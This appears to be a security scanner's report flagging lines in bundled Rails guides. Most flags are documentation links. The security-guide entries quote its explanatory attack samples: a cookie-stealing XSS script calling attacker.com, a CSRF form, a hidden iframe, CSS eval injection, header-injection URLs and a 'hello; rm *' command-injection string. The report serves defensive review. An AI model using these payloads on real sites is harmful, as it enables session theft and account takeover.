    For more information about publishing gems to RubyGems, see: [Publishing your gem](https://guides.rubygems.org/publishing).
  • Network accessline 767
    gem](https://guides.rubygems.org/publishing).

packages/autoskills/skills-registry/rails-guides/references/rails_on_rack.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 6
    This guide covers Rails' integration with [Rack](https://en.wikipedia.org/wiki/Rack_(web_server_interface)). After reading this guide, you will know:
  • Network accessline 21
    This allows Rack compliant web servers like [Puma](https://puma.io) or [Falcon](https://socketry.github.io/falcon/) to be interchangeably used with any Rack based web framework such as Rails.
  • Network accessline 27
    A Rack app is an object which implements a `call` method. It is passed an [`env`](https://github.com/rack/rack/blob/main/SPEC.rdoc#the-request-environment) hash, known as the Rack environment.
  • Network accessline 60
    Your app should be available at <http://localhost:9292>.
  • Network accessline 63
    $ curl localhost:9292
  • Network accessline 134
    This DSL to construct Rack applications is provided by [`Rack::Builder`][]. For further information about Rack, consult the [Rack specification](https://rack.github.io/rack/main/SPEC_rdoc.html) and [Rack Website](https://rack.github.io/rack
  • Network accessline 136
    [`Rack::Builder`]: https://rack.github.io/rack/3.2/Rack/Builder.html
  • Network accessline 214
    Rails provides a configuration interface [`config.middleware`](https://api.rubyonrails.org/classes/Rails/Configuration/MiddlewareStackProxy.html) for adding, removing, and modifying the middleware stack via `application.rb` or the environme
  • Network accessline 299
    [`ActionDispatch::ActionableExceptions`]: https://api.rubyonrails.org/files/actionpack/lib/action_dispatch/middleware/actionable_exceptions_rb.html
  • Network accessline 305
    [`ActionDispatch::Callbacks`]: https://api.rubyonrails.org/classes/ActionDispatch/Callbacks.html
  • Network accessline 311
    [`ActionDispatch::ContentSecurityPolicy::Middleware`]: https://api.rubyonrails.org/classes/ActionDispatch/ContentSecurityPolicy/Middleware.html
  • Network accessline 317
    [`ActionDispatch::Cookies`]: https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html
  • Network accessline 323
    [`ActionDispatch::DebugExceptions`]: https://api.rubyonrails.org/classes/ActionDispatch/DebugExceptions.html
  • Network accessline 329
    [`ActionDispatch::Executor`]: https://api.rubyonrails.org/classes/ActionDispatch/Executor.html
  • Network accessline 335
    [`ActionDispatch::Flash`]: https://api.rubyonrails.org/classes/ActionDispatch/Flash.html
  • Network accessline 342
    [`ActionDispatch::HostAuthorization`]: https://api.rubyonrails.org/classes/ActionDispatch/HostAuthorization.html
  • Network accessline 348
    [`ActionDispatch::Reloader`]: https://api.rubyonrails.org/classes/ActionDispatch/Reloader.html
  • Network accessline 354
    [`ActionDispatch::RemoteIp`]: https://api.rubyonrails.org/classes/ActionDispatch/RemoteIp.html
  • Network accessline 362
    [`ActionDispatch::RequestId`]: https://api.rubyonrails.org/classes/ActionDispatch/RequestId.html
  • Network accessline 366
    [`ActionDispatch::ServerTiming`][] sets a [`Server-Timing`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing) header containing performance metrics for the request.
  • Network accessline 368
    [`ActionDispatch::ServerTiming`]: https://api.rubyonrails.org/classes/ActionDispatch/ServerTiming.html
  • Network accessline 374
    [`ActionDispatch::Session::CookieStore`]: https://api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html
  • Network accessline 380
    [`ActionDispatch::ShowExceptions`]: https://api.rubyonrails.org/classes/ActionDispatch/ShowExceptions.html
  • Network accessline 386
    [`ActionDispatch::Static`]: https://api.rubyonrails.org/classes/ActionDispatch/Static.html
  • Network accessline 395
    [`ActiveRecord::Migration::CheckPending`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration/CheckPending.html
  • Network accessline 401
    [`ActiveSupport::Cache::Strategy::LocalCache::Middleware`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Strategy/LocalCache.html
  • Network accessline 407
    [`Propshaft::QuietAssets`]: https://github.com/rails/propshaft/blob/main/lib/propshaft/quiet_assets.rb
  • Network accessline 413
    [`Rack::ConditionalGet`]: https://rack.github.io/rack/3.2/Rack/ConditionalGet.html
  • Network accessline 419
    [`Rack::ETag`]: https://rack.github.io/rack/3.2/Rack/ETag.html
  • Network accessline 425
    [`Rack::Head`]: https://rack.github.io/rack/3.2/Rack/Head.html
  • Network accessline 431
    [`Rack::Lock`]: https://rack.github.io/rack/3.2/Rack/Lock.html
  • Network accessline 437
    [`Rack::MethodOverride`]: https://rack.github.io/rack/3.2/Rack/MethodOverride.html
  • Network accessline 443
    [`Rack::Runtime`]: https://rack.github.io/rack/3.2/Rack/Runtime.html
  • Network accessline 449
    [`Rack::Sendfile`]: https://rack.github.io/rack/3.2/Rack/Sendfile.html
  • Network accessline 456
    [`Rack::TempfileReaper`]: https://rack.github.io/rack/3.2/Rack/TempfileReaper.html
  • Network accessline 462
    [`Rails::Rack::Logger`]: https://api.rubyonrails.org/classes/Rails/Rack/Logger.html

packages/autoskills/skills-registry/rails-guides/references/routing.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 76
    It also generates `user_url`, which has a similar purpose. While `user_path` generates a relative URL like `/users/17`, `user_url` generates an absolute URL such as `https://example.com/users/17` in the above example.
  • Network accessline 105
    [`resources`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-resources
  • Network accessline 293
    [`namespace`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-namespace
  • Network accessline 294
    [`scope`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope
  • Network accessline 472
    [`shallow`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-shallow
  • Network accessline 522
    [`concern`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concern
  • Network accessline 523
    [`concerns`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concerns
  • Network accessline 549
    In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. An even shorter way to write that [`link_to`](https://api.rubyonrails.org/classes/ActionView/Helpers/Ur
  • Network accessline 569
    NOTE: In order to automatically derive paths and URLs from objects such as `[@magazine, @ad]`, Rails uses methods from [`ActiveModel::Naming`](https://api.rubyonrails.org/classes/ActiveModel/Naming.html) and [`ActiveModel::Conversion`](http
  • Network accessline 571
    [ActionView::RoutingUrlFor#url_for]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
  • Network accessline 608
    [`delete`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-delete
  • Network accessline 609
    [`get`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-get
  • Network accessline 610
    [`member`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-member
  • Network accessline 611
    [`patch`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-patch
  • Network accessline 612
    [`post`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-post
  • Network accessline 613
    [`put`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put
  • Network accessline 614
    [`put`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put
  • Network accessline 640
    [`collection`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-collection
  • Network accessline 730
    [`defaults`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-defaults
  • Network accessline 774
    [`match`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-match
  • Network accessline 830
    Will match something like `https://admin.example.com/photos`.
  • Network accessline 840
    [`constraints`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-constraints
  • Network accessline 981
    In all of these cases, if you don't provide the host (`http://www.example.com`), Rails will take those details from the current request.
  • Network accessline 983
    [`redirect`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Redirection.html#method-i-redirect
  • Network accessline 1014
    [`mount`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-mount
  • Network accessline 1041
    [`root`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-root
  • Network accessline 1056
    direct :homepage do   "https://rubyonrails.org"
  • Network accessline 1057
    "https://rubyonrails.org"
  • Network accessline 1060
    # >> homepage_url # => "https://rubyonrails.org"
  • Network accessline 1061
    # => "https://rubyonrails.org"
  • Network accessline 1077
    # >> main_url # => "http://www.example.com/pages"
  • Network accessline 1078
    # => "http://www.example.com/pages"
  • Network accessline 1081
    [`direct`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-direct
  • Network accessline 1082
    [`url_for`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html
  • Network accessline 1102
    [`resolve`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-resolve
  • Network accessline 1270
    [`form_with`]: https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with
  • Network accessline 1329
    [`inflections`]: https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-inflections
  • Network accessline 1355
    You can override [`ActiveRecord::Base#to_param`](https://api.rubyonrails.org/classes/ActiveRecord/Integration.html#method-i-to_param) of the associated model to construct a URL:
  • Network accessline 1378
    To get a complete list of routes available in an application, visit `http://localhost:3000/rails/info/routes` in the **development** environment. You can also execute the `bin/rails routes` command in your terminal to get the same output.
  • Network accessline 1488
    [`assert_generates`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates
  • Network accessline 1489
    [`assert_recognizes`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes
  • Network accessline 1490
    [`assert_routing`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing
  • Network accessline 1556
    [`draw`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-draw

packages/autoskills/skills-registry/rails-guides/references/security.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 83
    As shown above, the authentication generator modifies the `Gemfile` to add the [bcrypt](https://github.com/bcrypt-ruby/bcrypt-ruby/) gem. The generator uses
  • Network accessline 84
    [bcrypt](https://github.com/bcrypt-ruby/bcrypt-ruby/) gem. The generator uses
  • Network accessline 171
    The [`has_secure_password`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword/ClassMethods.html#method-i-has_secure_password)
  • Network accessline 172
    [`has_secure_password`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword/ClassMethods.html#method-i-has_secure_password)
  • Network accessline 193
    The [`authenticate_by`](https://api.rubyonrails.org/classes/ActiveRecord/SecurePassword/ClassMethods.html)
  • Network accessline 194
    [`authenticate_by`](https://api.rubyonrails.org/classes/ActiveRecord/SecurePassword/ClassMethods.html)
  • Network accessline 220
    `ApplicationController` in your application. You can explore details of the [authentication concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authenticati
  • Network accessline 221
    [authentication concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt) in the source code.
  • Network accessline 222
    concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt)
  • Network accessline 306
    The `CookieStore` uses the [encrypted](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted)
  • Network accessline 307
    [encrypted](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted)
  • Network accessline 310
    confidentiality to their contents. The encryption key, as well as the verification key used for [signed](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed)
  • Network accessline 311
    verification key used for [signed](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) cookies, is derived from the `secret_key_base` configuration value.
  • Network accessline 312
    [signed](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed)
  • Network accessline 370
    well as the various options the `rotate` method accepts, please refer to the [MessageEncryptor API](https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html)
  • Network accessline 371
    the [MessageEncryptor API](https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) and
  • Network accessline 372
    [MessageEncryptor API](https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html)
  • Network accessline 373
    and [MessageVerifier API](https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html) documentation.
  • Network accessline 374
    [MessageVerifier API](https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html)
  • Access to secretsline 386
    [Credential-related source omitted]
  • Network accessline 418
    If you use the popular [Devise](https://rubygems.org/gems/devise) gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action
  • Access to secretsline 426
    [Credential-related source omitted]
  • Network accessline 451
    * Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: `<img src="http://www.webapp.com/
  • Network accessline 484
    <a href="http://www.harmless.com/" onclick="
  • Network accessline 487
    this.parentNode.appendChild(f);   f.method = 'POST';   f.action = 'http://www.example.com/account/destroy';
  • Network accessline 488
    f.method = 'POST';   f.action = 'http://www.example.com/account/destroy';   f.submit();
  • Network accessline 489
    f.action = 'http://www.example.com/account/destroy';
  • Network accessline 497
    <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
  • Network accessline 515
    When submitting forms with [Turbo](https://turbo.hotwired.dev/) the security
  • Network accessline 536
    When making your own non-GET requests from JavaScript the security token is required as well. [Rails Request.JS](https://github.com/rails/request.js) is a
  • Network accessline 537
    required as well. [Rails Request.JS](https://github.com/rails/request.js) is a
  • Network accessline 563
    [`config.action_controller.default_protect_from_forgery`]: configuring.html#config-action-controller-default-protect-from-forgery [`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_
  • Network accessline 564
    [`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags
  • Network accessline 575
    Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-call
  • Network accessline 586
    http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
  • Network accessline 605
    When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is be
  • Network accessline 666
    In order to mitigate such attacks, you can use rate limiting. Rails comes with a built-in [rate-limiter](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit). You can enable it in your
  • Network accessline 667
    built-in [rate-limiter](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit). You can enable it in your sessions controller with a single line:
  • Network accessline 675
    Refer to the [API documentation](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit) for details about the various parameters.
  • Network accessline 696
    Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](https://www.gnucitizen.org/blog/google-gmail-e-m
  • Network accessline 702
    A popular positive CAPTCHA API is [reCAPTCHA](https://developers.google.com/recaptcha/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping 
  • Network accessline 719
    You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](https://nedbatchelder.com/text/stopbots.html):
  • Network accessline 758
    javascript:exploit_code();/* http://hi.com
  • Network accessline 759
    http://hi.com
  • Network accessline 790
    The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this
  • Network accessline 919
    [`sanitize_sql`]: https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql
  • Network accessline 933
    During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in 
  • Network accessline 960
    For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser dis
  • Network accessline 963
    <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
  • Network accessline 969
    GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
  • Network accessline 972
    You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that `document.cookie` may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, an
  • Network accessline 979
    <iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
  • Network accessline 982
    This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This `iframe` is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](https://isc.sans.edu/diary/MP
  • Network accessline 989
    http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  • Network accessline 990
    <script src=http://www.securitylab.ru/test/sc.js></script><!--
  • Network accessline 1014
    Both Action View and Action Text build their [sanitization helpers](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html) on top of the [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem.
  • Network accessline 1027
    This example pops up a message box. It will be recognized by the above `sanitize()` filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/). Rails' `san
  • Network accessline 1033
    The following is an excerpt from the [Js.Yamanner@m Yahoo! Mail worm](https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=12d8d106-1137-4d7c-8bb4-3ea1faec83fa). It appeared 
  • Network accessline 1036
    <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  • Network accessline 1043
    Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail wor
  • Network accessline 1045
    In December 2006, 34,000 actual usernames and passwords were stolen in a [MySpace phishing attack](https://www.schneier.com/essays/archives/2006/12/myspace_passwords_ar.html). The idea of the attack was to create a profile page named "login
  • Network accessline 1051
    CSS Injection is explained best by the well-known [MySpace Samy worm](https://samy.pl/myspace/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 
  • Dangerous shell operationline 1059
    So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy `eval()` function which executes any string as code.
  • Dangerous shell operationline 1062
    <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
  • Dangerous shell operationline 1065
    The `eval()` function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML":
  • Dangerous shell operationline 1068
    alert(eval('document.body.inne' + 'rHTML'));
  • Dangerous shell operationline 1074
    <div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
  • Network accessline 1081
    The [moz-binding](https://securiteam.com/securitynews/5LP051FHPE) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
  • Network accessline 1089
    If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](https://github.com/jgarber/redcloth) is such a language for Ruby, but without precaut
  • Network accessline 1121
    If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains
  • Dangerous shell operationline 1127
    If your application has to execute commands in the underlying operating system, there are several methods in Ruby: `system(command)`, `exec(command)`, `spawn(command)` and `` `command` ``. You will have to be especially careful with these f
  • Dangerous shell operationline 1130
    user_input = "hello; rm *"
  • Dangerous shell operationline 1138
    system("/bin/echo", "hello; rm *")
  • Dangerous shell operationline 1139
    # prints "hello; rm *" and does not delete files
  • Network accessline 1160
    require "open-uri" URI("https://example.com").open { |file| file.read }
  • Network accessline 1161
    URI("https://example.com").open { |file| file.read }
  • Network accessline 1180
    http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
  • Network accessline 1186
    http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
  • Network accessline 1187
    http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
  • Network accessline 1193
    HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld
  • Network accessline 1195
    Location: http://www.malicious.tld
  • Network accessline 1248
    that Rack parses query parameters it was possible to issue unexpected database queries with `IS NULL` where clauses. As a response to that security issue ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_
  • Network accessline 1249
    queries with `IS NULL` where clauses. As a response to that security issue ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), [CVE-2012-2694](https://g
  • Network accessline 1250
    ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),
  • Network accessline 1251
    [CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ)
  • Network accessline 1252
    and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ))
  • Network accessline 1308
    [`X-Frame-Options`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
  • Network accessline 1315
    [`X-Content-Type-Options`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
  • Network accessline 1329
    [`Referrer-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
  • Network accessline 1368
    [`Strict-Transport-Security`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
  • Network accessline 1396
    content_security_policy do |policy|     policy.upgrade_insecure_requests true     policy.base_uri "https://www.example.com"
  • Network accessline 1397
    policy.upgrade_insecure_requests true     policy.base_uri "https://www.example.com"   end
  • Network accessline 1398
    policy.base_uri "https://www.example.com"
  • Network accessline 1415
    class PostsController < ApplicationController   content_security_policy do |policy|     policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  • Network accessline 1416
    content_security_policy do |policy|     policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }   end
  • Network accessline 1417
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  • Network accessline 1422
    [`Content-Security-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
  • Network accessline 1450
    [`Content-Security-Policy-Report-Only`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only
  • Network accessline 1451
    [`report-uri`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri
  • Network accessline 1455
    If you are considering `'unsafe-inline'`, consider using nonces instead. [Nonces provide a substantial improvement](https://www.w3.org/TR/CSP3/#security-nonces)
  • Network accessline 1456
    provide a substantial improvement](https://www.w3.org/TR/CSP3/#security-nonces)
  • Network accessline 1523
    Use [`csp_meta_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/CspHelper.html#method-i-csp_meta_tag)
  • Network accessline 1556
    policy.usb         :none   policy.fullscreen  :self   policy.payment     :self, "https://secure.example.com"
  • Network accessline 1557
    policy.fullscreen  :self   policy.payment     :self, "https://secure.example.com" end
  • Network accessline 1558
    policy.payment     :self, "https://secure.example.com"
  • Network accessline 1565
    class PagesController < ApplicationController   permissions_policy do |policy|     policy.geolocation "https://example.com"
  • Network accessline 1566
    permissions_policy do |policy|     policy.geolocation "https://example.com"   end
  • Network accessline 1567
    policy.geolocation "https://example.com"
  • Network accessline 1572
    [`Feature-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy
  • Network accessline 1577
    want to run Rails as an API, and run a frontend app on a separate domain, you need to enable [Cross-Origin Resource Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) (CORS).
  • Network accessline 1579
    Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) (CORS).
  • Network accessline 1581
    You can use the [Rack CORS](https://github.com/cyu/rack-cors) middleware for
  • Access to secretsline 1651
    [Credential-related source omitted]
  • Access to secretsline 1663
    [Credential-related source omitted]
  • Access to secretsline 1668
    [Credential-related source omitted]
  • Access to secretsline 1674
    [Credential-related source omitted]
  • Access to secretsline 1675
    [Credential-related source omitted]
  • Network accessline 1692
    * Subscribe to the Rails security [mailing list](https://discuss.rubyonrails.org/c/security-announcements/9).
  • Network accessline 1693
    * [Mozilla's Web Security Guidelines](https://infosec.mozilla.org/guidelines/web_security.html) - Recommendations on topics covering Content Security Policy, HTTP headers, Cookies, TLS configuration, etc.
  • Network accessline 1694
    * A [good set of security resources](https://owasp.org/), notably the [Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html), with for example the [Cross-Site Scripting Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheet

packages/autoskills/skills-registry/rails-guides/references/testing.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 60
    [Fixtures](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html)
  • Network accessline 72
    test your application the way your users experience it and help you test your JavaScript as well. System tests inherit from [Capybara](https://github.com/teamcapybara/capybara) and perform in-browser
  • Network accessline 73
    JavaScript as well. System tests inherit from [Capybara](https://github.com/teamcapybara/capybara) and perform in-browser tests for your application.
  • Network accessline 74
    [Capybara](https://github.com/teamcapybara/capybara) and perform in-browser
  • Network accessline 373
    Here's an extract of the assertions you can use with [`minitest`](https://github.com/minitest/minitest), the default testing library
  • Network accessline 374
    [`minitest`](https://github.com/minitest/minitest), the default testing library
  • Network accessline 412
    The above are a subset of assertions that minitest supports. For an exhaustive and more up-to-date list, please check the [minitest API documentation](http://docs.seattlerb.org/minitest/Minitest), specifically
  • Network accessline 413
    and more up-to-date list, please check the [minitest API documentation](http://docs.seattlerb.org/minitest/Minitest), specifically [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html).
  • Network accessline 414
    documentation](http://docs.seattlerb.org/minitest/Minitest), specifically
  • Network accessline 415
    [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html).
  • Network accessline 435
    | [`assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)`][] | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extra parameter is used
  • Network accessline 436
    | [`assert_routing(expected_path, options, defaults = {}, extras = {}, message = nil)`][] | Asserts that `path` and `options` match both ways; in other words, it verifies that `path` generates `options` and then that `options` generates `pa
  • Network accessline 437
    | [`assert_response(type, message = nil)`][] | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match th
  • Network accessline 446
    [`assert_difference(expressions, difference = 1, message = nil) {...}`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference
  • Network accessline 447
    [`assert_no_difference(expressions, message = nil, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference
  • Network accessline 448
    [`assert_changes(expressions, message = nil, from:, to:, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_changes
  • Network accessline 449
    [`assert_no_changes(expressions, message = nil, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_changes
  • Network accessline 450
    [`assert_nothing_raised { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised
  • Network accessline 451
    [`assert_recognizes(expected_options, path, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes
  • Network accessline 452
    [`assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates
  • Network accessline 453
    [`assert_routing(expected_path, options, defaults = {}, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing
  • Network accessline 454
